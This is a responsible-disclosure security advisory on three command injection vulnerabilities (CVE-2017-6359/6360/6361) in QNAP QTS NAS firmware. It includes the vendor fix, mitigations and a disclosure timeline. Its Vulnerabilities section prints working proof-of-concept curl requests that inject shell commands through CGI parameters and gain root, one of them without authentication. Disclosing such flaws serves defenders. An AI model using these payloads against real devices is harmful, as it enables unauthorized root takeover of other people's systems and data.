QNAP QTS Remote Command Injection

`QNAP QTS multiple RCE vulnerabilities  
=====================================  
The latest version of this advisory is available at:  
https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt  
  
  
Overview  
--------  
  
QNAP QTS firmware contains multiple Command Injection (CWE-77)  
vulnerabilities that can be exploited to gain remote command execution  
on the devices.  
  
  
Description  
-----------  
  
QNAP QTS web user interface CGI binaries include Command Injection  
(CWE-77) vulnerabilities. An unauthenticated attacker can execute  
arbitrary commands on the targeted device.  
  
  
Impact  
------  
  
The attacker is able to execute arbitrary commands as administrative user  
(root). The attacker has full access to all content on the targeted  
device, and can read, modify or remove content at will.  
  
  
Details  
-------  
  
The discovered vulnerabilities, described in more detail below, enable  
multiple independent attacks described here in brief:  
  
- Unauthenticated Remote Command Execution  
  
The unauthenticated attacker can perform HTTP requests that exploit  
the vulnerability to execute arbitrary commands. If the device is  
connected to the internet, the vulnerable devices can be taken over in  
an automated fashion and can then be used for further attacks.  
  
- Authenticated Remote Command Execution  
  
The authenticated attacker can perform HTTP requests that exploit  
the vulnerabilities to execute arbitrary commands. This gives users  
that normally have only restricted access to the device full  
administrative (root) access to the system and access to all data  
stored on the device regardless of the specified access limitations.  
  
  
Vulnerabilities  
---------------  
  
1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)  
  
/cgi-bin/authLogin.cgi CGI has a command injection bug. The  
following commands are executed via system():  
  
/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1  
/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null  
  
The value inserted to %s is obtained from the `reboot_notice_msg' HTTP  
request GET parameter.  
  
The reboot_notice_msg is a base64 encoded message of form:  
  
QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD  
  
- TTTTTTTT is the unix time stamp (last 8 digits)  
- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)  
- LLLL is the payload length  
- PAYLOAD is the payload contents (LLLL bytes)  
  
By creating a crafted reboot_notice_msg value, arbitrary commands  
can be executed. For example:  
  
QNAPVJBD88150863 Disconnect 14`(echo;id)>&2`  
  
$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s 14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"  
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)  
Content-type: text/xml  
  
<?xml version="1.0" encoding="UTF-8" ?>  
<QDocRoot version="1.0">  
<command>Disconnect</command>  
<payload>`(echo;id)>&2`</payload>  
</QDocRoot>  
$  
  
  
2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)  
  
/cgi-bin/userConfig.cgi CGI has a command injection bug. The following  
command is executed via popen():  
  
/sbin/cloud_util -r %s 2>/dev/null  
  
The value inserted to %s is obtained from the `hash' HTTP request GET  
parameter.  
  
An authenticated user can use a specially crafted hash parameter to execute  
arbitrary commands as root:  
  
$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'  
HTTP/1.1 200 OK  
Date: Sun, 26 Feb 2017 22:55:48 GMT  
Transfer-Encoding: chunked  
Content-Type: text/plain  
  
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)  
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown  
Content-type: text/html; charset="UTF-8"  
  
Usage:  
/sbin/cloud_util -r [enc_token]  
$  
  
  
3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)  
  
/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The  
following commands are executed via system():  
  
/bin/kill -9 %s  
  
The value inserted to %s is obtained from the `pid' HTTP request GET  
parameter.  
  
An authenticated user can use a specially crafted pid parameter to execute  
arbitrary commands as root:  
  
$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'  
{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }  
  
[~] # cat /tmp/pwned  
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)  
[~] #  
  
  
Vulnerable devices  
------------------  
  
The vulnerabilities were discovered from an QNAP TVS-663, firmware version  
4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3  
Build 20170213.  
  
CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build  
20161028.  
  
It is believed that these vulnerabilities affect all devices running QTS.  
  
  
Recommendations to vendor  
-------------------------  
  
1. Fix the command injection vulnerabilities by performing proper input  
validation (whitelisting) and/or shell metacharacter escaping, or by  
utilizing execl family of functions.  
  
  
End user mitigation  
-------------------  
  
- Install the firmware update version 4.2.4 build 20170313 or later.  
  
OR  
  
- Restrict access to the web user interface (ports 8080 and 443).  
  
  
Credits  
-------  
  
The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation.  
  
  
Timeline  
--------  
  
21.01.2017 discovered vulnerabilities 2 and 3  
23.02.2017 discovered vulnerability 1  
23.02.2017 reported vulnerability 1 to the vendor  
26.02.2017 started to write a preliminary advisory  
27.02.2017 sent the preliminary advisory to vendor and CERT-FI  
27.02.2017 requested CVE-IDs from MITRE  
28.02.2017 received CVE-IDs from MITRE  
02.03.2017 inquired status from vendor contact  
02.03.2017 vendor confirmed CVE-2017-6361  
04.03.2017 vendor confirmed the other two vulnerabilities  
13.03.2017 vendor communicated about a upcoming release fixing the vulns  
14.03.2017 vendor released QTS 4.2.4 build 20170313 fixing the vulns  
15.03.2017 sent update to CERT-FI  
21.03.2017 vendor released NAS-201703-21 advisory:  
https://www.qnap.com/en/support/con_show.php?cid=113  
06.04.2017 public release of the advisory  
  
  
`